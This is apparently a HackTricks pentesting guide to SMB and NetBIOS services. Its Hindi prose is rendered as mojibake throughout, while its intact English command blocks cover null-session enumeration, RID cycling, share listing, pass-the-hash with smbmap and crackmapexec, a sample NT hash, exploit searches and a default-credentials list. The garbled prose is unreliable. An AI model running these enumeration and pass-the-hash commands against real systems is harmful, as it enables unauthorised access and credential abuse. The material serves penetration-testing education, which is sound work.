hacktricks/network-services-pentesting/pentesting-smb.md

42 KiB
Raw Blame History

139,445 - Pentesting SMB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Port 139

рдиреЗрдЯрд╡рд░реНрдХ рдмреЗрд╕рд┐рдХ рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рд╕рд┐рд╕реНрдЯрдо** (NetBIOS)** рдПрдХ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ рдЬрд┐рд╕реЗ рд╕реНрдерд╛рдиреАрдп рдХреНрд╖реЗрддреНрд░ рдиреЗрдЯрд╡рд░реНрдХ (LAN) рдХреЗ рднреАрддрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ, рдкреАрд╕реА рдФрд░ рдбреЗрд╕реНрдХрдЯреЙрдк рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдкрд╛рд░ рдбреЗрдЯрд╛ рдХреЗ рд╕рдВрдЪрд░рдг рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред NetBIOS рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдЪрд▓ рд░рд╣реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рд╕реНрдерд╛рди рдЙрдирдХреЗ NetBIOS рдирд╛рдореЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ 16 рд╡рд░реНрдгреЛрдВ рддрдХ рд▓рдВрдмреЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдХреНрд╕рд░ рдХрдВрдкреНрдпреВрдЯрд░ рдирд╛рдо рд╕реЗ рднрд┐рдиреНрди рд╣реЛрддреЗ рд╣реИрдВред рджреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ NetBIOS рд╕рддреНрд░ рддрдм рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдЕрдиреБрдкреНрд░рдпреЛрдЧ (рдЬреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ) рджреВрд╕рд░реЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧ (рдЬреЛ рд╕рд░реНрд╡рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ) рдХреЛ "рдХреЙрд▓" рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП TCP рдкреЛрд░реНрдЯ 139 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рдЖрджреЗрд╢ рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИред

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

Port 445

рддрдХрдиреАрдХреА рд░реВрдк рд╕реЗ, рдкреЛрд░реНрдЯ 139 рдХреЛ 'NBT over IP' рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдкреЛрд░реНрдЯ 445 рдХреЛ 'SMB over IP' рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ SMB рдХрд╛ рдЕрд░реНрде рд╣реИ 'Server Message Blocks', рдЬрд┐рд╕реЗ рдЖрдзреБрдирд┐рдХ рд░реВрдк рд╕реЗ Common Internet File System (CIFS) рдХреЗ рд░реВрдк рдореЗрдВ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди-рд▓реЗрдпрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд░реВрдк рдореЗрдВ, SMB/CIFS рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдлрд╝рд╛рдЗрд▓реЛрдВ, рдкреНрд░рд┐рдВрдЯрд░реЛрдВ, рд╕реАрд░рд┐рдпрд▓ рдкреЛрд░реНрдЯреНрд╕ рддрдХ рд╕рд╛рдЭрд╛ рдкрд╣реБрдВрдЪ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдиреЛрдбреНрд╕ рдХреЗ рдмреАрдЪ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА рд╕рдВрдЪрд╛рд░ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Windows рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, рдпрд╣ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ SMB рд╕реАрдзреЗ TCP/IP рдкрд░ рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддрд╛ рд╣реИ, TCP/IP рдкрд░ NetBIOS рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рддреЗ рд╣реБрдП, рдкреЛрд░реНрдЯ 445 рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд, рд╡рд┐рднрд┐рдиреНрди рд╕рд┐рд╕реНрдЯрдореЛрдВ рдкрд░, рдкреЛрд░реНрдЯ 139 рдХрд╛ рдЙрдкрдпреЛрдЧ рджреЗрдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ SMB TCP/IP рдкрд░ NetBIOS рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

рд╕рд░реНрд╡рд░ рд╕рдВрджреЗрд╢ рдмреНрд▓реЙрдХ (SMB) рдкреНрд░реЛрдЯреЛрдХреЙрд▓, рдЬреЛ рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд░реНрд╡рд░ рдореЙрдбрд▓ рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдлрд╛рдЗрд▓реЛрдВ, рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ, рдФрд░ рдкреНрд░рд┐рдВрдЯрд░ рдФрд░ рд░рд╛рдЙрдЯрд░ рдЬреИрд╕реЗ рдЕрдиреНрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдореБрдЦреНрдп рд░реВрдк рд╕реЗ Windows рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рднреАрддрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, SMB рдкрд┐рдЫрдбрд╝реЗ рд╕рдВрдЧрддрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдХреЗ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдирдП рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рд╡рд╛рд▓реЗ рдЙрдкрдХрд░рдг рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рд╕рд╣рдЬрддрд╛ рд╕реЗ рдмрд╛рддрдЪреАрдд рдХрд░ рд╕рдХреЗрдВред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, Samba рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдПрдХ рдореБрдлреНрдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕рдорд╛рдзрд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ Linux рдФрд░ Unix рд╕рд┐рд╕реНрдЯрдо рдкрд░ SMB рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЛ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреНрд░реЙрд╕-рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИред

рд╢реЗрдпрд░, рдЬреЛ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдХреЗ рдордирдорд╛рдиреЗ рд╣рд┐рд╕реНрд╕реЛрдВ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ, рдПрдХ SMB рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣рдж рддрдХ рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рд╕рд░реНрд╡рд░ рдХреА рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдВрд░рдЪрдирд╛ рдХреЗ рд╕рд╛рде рдкрджрд╛рдиреБрдХреНрд░рдо рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИред рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд╕реВрдЪрд┐рдпрд╛рдБ (ACLs), рдЬреЛ рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдкрд░ рд╕реВрдХреНрд╖реНрдо-рдирд┐рдпрдВрддреНрд░рдг рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ execute, read, рдФрд░ full access рдЬреИрд╕реЗ рдЧреБрдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпреЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╢реЗрдпрд░реЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдпрд╛ рд╕рдореВрд╣реЛрдВ рдХреЛ рд╕реМрдВрдкреЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рд╕рд░реНрд╡рд░ рдкрд░ рд╕реЗрдЯ рд╕реНрдерд╛рдиреАрдп рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╕реЗ рднрд┐рдиреНрди рд╣реЛрддреА рд╣реИрдВред

IPC$ Share

IPC$ рд╢реЗрдпрд░ рддрдХ рдкрд╣реБрдБрдЪ рдПрдХ рдЧреБрдордирд╛рдо рд╢реВрдиреНрдп рд╕рддреНрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдирд╛рдорд┐рдд рдкрд╛рдЗрдк рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдЬрд╛рдЧрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХреА рдЬрд╛ рд╕рдХреЗред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрд┐рддрд╛ enum4linux рдЙрдкрдпреЛрдЧреА рд╣реИред рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░, рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ:

  • рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреА рдЬрд╛рдирдХрд╛рд░реА
  • рдорд╛рддрд╛-рдкрд┐рддрд╛ рдбреЛрдореЗрди рдХрд╛ рд╡рд┐рд╡рд░рдг
  • рд╕реНрдерд╛рдиреАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдФрд░ рд╕рдореВрд╣реЛрдВ рдХрд╛ рд╕рдВрдХрд▓рди
  • рдЙрдкрд▓рдмреНрдз SMB рд╢реЗрдпрд░реЛрдВ рдХреА рдЬрд╛рдирдХрд╛рд░реА
  • рдкреНрд░рднрд╛рд╡реА рд╕рд┐рд╕реНрдЯрдо рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐

рдпрд╣ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП SMB (рд╕рд░реНрд╡рд░ рд╕рдВрджреЗрд╢ рдмреНрд▓реЙрдХ) рд╕реЗрд╡рд╛рдУрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрдерд┐рддрд┐ рдХрд╛ рдЖрдХрд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред enum4linux рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдХреЗ SMB рд╡рд╛рддрд╛рд╡рд░рдг рдХрд╛ рдПрдХ рд╡реНрдпрд╛рдкрдХ рджреГрд╢реНрдп рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдФрд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ SMB рд╕реЗрд╡рд╛рдПрдБ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВред

enum4linux -a target_ip

The above command is an example of how enum4linux might be used to perform a full enumeration against a target specified by target_ip.

NTLM рдХреНрдпрд╛ рд╣реИ

рдпрджрд┐ рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ NTLM рдХреНрдпрд╛ рд╣реИ рдпрд╛ рдЖрдк рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рдкрд╛рдПрдВрдЧреЗ рдЬреЛ NTLM рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реИ рдЬрд╣рд╛рдБ рдЗрд╕ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдФрд░ рдЖрдк рдЗрд╕рдХрд╛ рд▓рд╛рдн рдХреИрд╕реЗ рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ, рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:

{% content-ref url="../windows-hardening/ntlm/" %} ntlm {% endcontent-ref %}

рд╕рд░реНрд╡рд░ рдПрдиреНрдпреВрдорд░реЗрд╢рди

рд╕реНрдХреИрди рдПрдХ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рд╣реЛрд╕реНрдЯ рдХреА рдЦреЛрдЬ рдХрд░рддреЗ рд╣реБрдП:

nbtscan -r 192.168.0.1/24

SMB рд╕рд░реНрд╡рд░ рд╕рдВрд╕реНрдХрд░рдг

SMB рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рд╢реЛрд╖рдгреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдЬрд╛рдирдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИред рдпрджрд┐ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдЙрдкрдХрд░рдгреЛрдВ рдореЗрдВ рдирд╣реАрдВ рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИ, рддреЛ рдЖрдк:

  • MSF рд╕рд╣рд╛рдпрдХ рдореЙрдбреНрдпреВрд▓ _auxiliary/scanner/smb/smb_version рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ
  • рдпрд╛ рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

рд╢реЛрдз рд╢реЛрд╖рдг

msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

рд╕рдВрднрд╛рд╡рд┐рдд рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо(s) рд╕рд╛рдорд╛рдиреНрдп рдкрд╛рд╕рд╡рд░реНрдб
(рдЦрд╛рд▓реА) (рдЦрд╛рд▓реА)
рдЕрддрд┐рдерд┐ (рдЦрд╛рд▓реА)
рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ, рдПрдбрдорд┐рди (рдЦрд╛рд▓реА), рдкрд╛рд╕рд╡рд░реНрдб, рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ, рдПрдбрдорд┐рди
рдЖрд░реНрдХрд╕рд░реНрд╡ рдЖрд░реНрдХрд╕рд░реНрд╡, рдмреИрдХрдЕрдк
рдЯрд┐рд╡реЛрд▓реА, tmersrvd рдЯрд┐рд╡реЛрд▓реА, tmersrvd, рдПрдбрдорд┐рди
рдмреИрдХрдЕрдкрдПрдХреНрд╕реЗрдХ, рдмреИрдХрдЕрдк рдмреИрдХрдЕрдкрдПрдХреНрд╕реЗрдХ, рдмреИрдХрдЕрдк, рдЖрд░реНрдХрд╛рдбрд╛
рдкрд░реАрдХреНрд╖рдг, рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛, рдбреЗрдореЛ рдкрд╛рд╕рд╡рд░реНрдб, рдкрд░реАрдХреНрд╖рдг, рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛, рдбреЗрдореЛ

рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕

SMB рд╡рд╛рддрд╛рд╡рд░рдг рдЬрд╛рдирдХрд╛рд░реА

рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ, рд╕рдореВрд╣реЛрдВ рдФрд░ рд▓реЙрдЧ рдЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ

рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдкрд╣рд▓реЗ рд╕реЗ рд╣реА enum4linux рдФрд░ enum4linux-ng рд╕реЗ рдПрдХрддреНрд░ рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдПред

crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups

рд╕реНрдерд╛рдиреАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ

Impacket

lookupsid.py -no-pass hostname.local

Oneliner

for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - рд╕реНрдерд╛рдиреАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ

use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run

LSARPC рдФрд░ SAMR rpcclient рдХреА рдЧрдгрдирд╛ рдХрд░рдирд╛

{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %} rpcclient-enumeration.md {% endcontent-ref %}

рд▓рд┐рдирдХреНрд╕ рд╕реЗ GUI рдХрдиреЗрдХреНрд╢рди

рдЯрд░реНрдорд┐рдирд▓ рдореЗрдВ:

xdg-open smb://cascade.htb/

рдлрд╝рд╛рдЗрд▓ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╡рд┐рдВрдбреЛ (nautilus, thunar, рдЖрджрд┐)

smb://friendzone.htb/general/

рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рдЧрдгрдирд╛

рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рд╕реВрдЪреА

рдпрд╣ рд╣рдореЗрд╢рд╛ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдХрд┐ рдЖрдк рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдЪреАрдЬрд╝ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд╣реАрдВ рд╣реИрдВ рддреЛ null рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕/рдЕрддрд┐рдерд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред

smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user

рдПрдХ рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ/рд╕реВрдЪреА рдмрдирд╛рдПрдВ

#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash

рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд╡рд┐рдВрдбреЛрдЬрд╝ рд╢реЗрдпрд░реЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ рдФрд░ рдЙрдирд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ

